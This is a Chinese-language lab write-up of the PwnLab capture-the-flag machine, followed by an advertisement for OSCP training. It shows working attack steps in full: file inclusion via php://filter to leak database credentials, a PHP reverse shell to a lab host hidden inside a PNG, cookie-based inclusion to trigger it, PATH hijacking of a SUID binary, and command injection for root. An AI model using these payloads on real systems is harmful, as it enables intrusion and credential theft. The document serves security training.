打靶日记 pwnlab

admin 2025年4月25日00:17:03评论0 views字数 11595阅读38分39秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 pwnlab
nmap -sS -sV -T5 -p- 192.168.10.15 -A
打靶日记 pwnlab

二、进行目录枚举

dirb http://192.168.10.15
打靶日记 pwnlab

发现有目录可以访问上传的文件,这样就可以反弹shell

打靶日记 pwnlab

三、进入网页

发现登录界面,尝试弱口令,万能密码,没弄出来

打靶日记 pwnlab

拿nikto扫一下

nikto -h http://192.168.10.15 
打靶日记 pwnlab

发现config.php文件里可能存在账号密码

看url为http://192.168.10.15/?page=login,有=可以尝试去文件包含,因为为php文件,利用php伪协议

php伪协议可以看下这个师傅写的https://blog.csdn.net/cosmoslin/article/details/120695429

php**://filter**可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

协议参数

resource=<要过滤的数据流>
这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

利用filter协议读文件±,将config.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

而使用的convert.base64-encode,就是一种过滤器

这里不能加上.php,有可能是因为自动追加扩展名机制,安全策略拦截.php文件

http://192.168.10.15/?page=php://filter/read=convert.base64-encode/resource=config
打靶日记 pwnlab
打靶日记 pwnlab
<?php
$server          = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

四、3306端口(mysql)

mysql -uroot -pH4u%QJ_H99 -h 192.168.10.15
打靶日记 pwnlab

需要SSL,但服务器不支持,那就直接禁用

在旧版MySQL中,禁用SSL通常使用--ssl=0--skip-ssl参数

mysql -uroot -p'H4u%QJ_H99' -h 192.168.10.15 --ssl=0
打靶日记 pwnlab
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row inset (0.002 sec)

MySQL [Users]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows inset (0.001 sec)

MySQL [Users]> use Users;
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row inset (0.001 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows inset (0.002 sec)

kent Sld6WHVCSkpOeQ== JWzXuBJJNy

mike U0lmZHNURW42SQ== SIfdsTEn6I

kane aVN2NVltMkdSbw== iSv5Ym2GRo

五、文件上传

登录kent用户

打靶日记 pwnlab

直接上传php文件

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/8888 0>&1'");?>

上传失败,需要上传图片,尝试修改文件后缀,抓包将一句话木马插入均失败

打靶日记 pwnlab

通过目录遍历查看upload源码

http://192.168.10.15/?page=php://filter/read=convert.base64-encode/resource=upload
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php 
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename  = $_FILES['file']['name'];
$filetype  = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext  = strrchr($filename'.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png"); 

if (!(in_array($file_ext$whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

if(substr_count($filetype'/')>1){
                        die('Error 003');
                }

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo"<img src="".$uploadfile.""><br />";
                } else {
                        die('Error 4');
                }
        }
}

?>
  1. 会话验证:通过 $_SESSION['user'] 检查用户是否已登录。

  2. HTML表单:提供一个文件选择框和上传按钮。

  3. 文件上传逻辑

    1. 检查文件扩展名是否在白名单中(仅允许 .jpg.jpeg.gif.png)。

    2. 验证文件 MIME 类型是否为图像类型。

    3. 使用 getimagesize() 检查文件是否为有效图像。

    4. 确保文件类型字符串中没有多余的斜杠。

    5. 将文件重命名并保存到 upload/ 目录。

常见文件MIME类型

text/plain (纯文本)

text/html (HTML文档)

text/javascript (js代码)

application/xhtml+xml (XHTML文档)

image/gif (GIF图像)

image/jpeg (JPEG图像)

image/png (PNG图像)

video/mpeg (MPEG动画)

application/octet-stream (二进制数据)

application/pdf (PDF文档)

打开cmd命令板

copy /b 1.png + shell.php shell.png

然后直接正常上传就欧克

打靶日记 pwnlab

六、getshell

直接访问并不能解析php文件,继续通过文件包含,看看index.php

http://192.168.10.15/?page=php://filter/read=convert.base64-encode/resource=index
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
else
        {
echo"Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>

若用户请求中包含 lang Cookie,则加载对应语言文件(如 lang/en.lang.php

那么就可以抓index.php的包,通过这个包修改

lang=../upload/00bf23e130fa1e525e332ff03dae345d.png

方法一 burp抓包修改

打靶日记 pwnlab
打靶日记 pwnlab

方法二 curl映射

curl --cookie "lang=../upload/00bf23e130fa1e525e332ff03dae345d.png" http://192.168.10.15/index.php
打靶日记 pwnlab

使用 -o 或 --output 参数将响应内容保存为文件(如 output.png),避免终端直接显示二进制数据

curl -v --cookie "lang=../upload/00bf23e130fa1e525e332ff03dae345d.png" http://192.168.10.15/index.php -o output.png
打靶日记 pwnlab

七、提权

建立交互式终端

python -c "import pty; pty.spawn('/bin/bash');"

尝试suid提权,切换用户,home目录下有四个文件

打靶日记 pwnlab
find / -perm -4000 -print 2>/dev/null
打靶日记 pwnlab
kent  JWzXuBJJNy
mike  SIfdsTEn6I
kane  iSv5Ym2GRo

kent用户下没有什么东西

kane用户下的目录,有一个msgmike为一个二进制文件,是执行cat: /home/mike/msg.txt,但是没有权限

打靶日记 pwnlab
打靶日记 pwnlab

尝试 环境变量劫持

kane@pwnlab:/usr/share$ cd /tmp
cd /tmp
kane@pwnlab:/tmp$ ls
ls
00bf23e130fa1e525e332ff03dae345d.png  d4b5b53d27782a539207712b174e4eee.png
4a47a0db6e60853dedfcfdf08a5ca249.png
kane@pwnlab:/tmp$ echo /bin/bash > cat
echo /bin/bash > cat
kane@pwnlab:/tmp$ ls
ls
00bf23e130fa1e525e332ff03dae345d.png  cat
4a47a0db6e60853dedfcfdf08a5ca249.png  d4b5b53d27782a539207712b174e4eee.png
kane@pwnlab:/tmp$ chmod +x cat
chmod +x cat
kane@pwnlab:/tmp$ ls -l cat
ls -l cat
-rwxr-xr-x 1 kane kane 10 Apr 15 04:23 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)

进入/tmp目录

cd /tmp
  • 目的/tmp 是临时目录,通常所有用户都有写入权限,适合存放临时文件(如恶意脚本)。

创建恶意cat文件

echo /bin/bash > cat
  • 操作:在 /tmp 下创建一个名为 cat 的文件,内容为 /bin/bash(启动 Bash Shell)。

  • 原理:劫持系统命令 cat。如果目标程序调用 cat 时未指定绝对路径,系统会从 PATH 环境变量中按顺序查找 cat。我们通过后续修改 PATH,让系统优先执行我们伪造的 cat

赋予cat执行权限

chmod +x cat
  • 目的:让伪造的 cat 文件可执行,否则系统无法运行它。

修改PATH环境变量

export PATH=/tmp:$PATH
  • 原理:将 /tmp 添加到 PATH 的最前面。当系统查找命令(如 cat)时,会先在 /tmp 目录下找,找到我们的恶意 cat 并执行,而不是系统的 /bin/cat

执行目标程序msgmike

./msgmike
  • 关键点:假设 msgmike 是一个 SUID程序(属于 mike 用户且设置了 SUID 权限),当 kane 执行它时,程序会以 mike 的权限运行。

  • 触发劫持:如果 msgmike 内部调用了 cat 命令(且未用绝对路径 /bin/cat),系统会按 PATH 找到 /tmp/cat,执行我们伪造的 cat(即启动 Bash Shell)。

  • 结果:新启动的 Shell 会继承 msgmike 的权限(即 mike 用户的权限),从而成功提权到 mike 用户。

kane@pwnlab:~$ echo $$        # 查看shell的process id
echo $$
5041
kane@pwnlab:~$ echo"/bin/bash" >/tmp/cat # 将 /bin/bash 写入/tmp/cat中
echo"/bin/bash" > /tmp/cat
kane@pwnlab:~$ echo$PATH# 查看当前$PATH
echo$PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ export PATH=/tmp:$PATH# 将/tmp路径放到$PATH最前面
export PATH=/tmp:$PATH
kane@pwnlab:~$ echo$PATH# 查看修改后的$PATH
echo$PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ./msgmike      # 执行msgmike
./msgmike
mike@pwnlab:~$ echo $$       # 查看shell的process id ,发现已经不同了 说明这里已经成功了
echo $$
5055
mike@pwnlab:~$ whoami      # 发现已经是mike用户了
whoami
mike

进入mike目录下发现有一个msg2root程序

mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root: 
/bin/echo %s >> /root/messages.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msg2root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
fgets@@GLIBC_2.0
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
stdin@@GLIBC_2.0
_end
_start
_fp_hw
asprintf@@GLIBC_2.0
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init

system函数: 直接调用系统命令(如 /bin/echo),若参数未严格过滤,可能被注入恶意命令(如 ; sh 或反弹 Shell)。

asprintf函数: 用于动态构造命令字符串(如 /bin/echo %s >> /root/messages.txt),若用户输入被直接拼接,可能导致命令注入。

若用户输入的 input 未过滤特殊字符(如 ;|& 等),可以通过输入 payload

hello; /bin/bash -p   # 注入额外命令(启动 root Shell)

执行命令会变成

/bin/echo hello; /bin/bash -p >> /root/messages.txt

分号 ; 会分隔命令,导致后续的 /bin/bash -p 以 root 权限执行

打靶日记 pwnlab

END

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记 pwnlab

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记 pwnlab
打靶日记 pwnlab
打靶日记 pwnlab

原文始发于微信公众号(泷羽Sec-临观):打靶日记 pwnlab

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日00:17:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 pwnlabhttps://cn-sec.com/archives/3960354.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息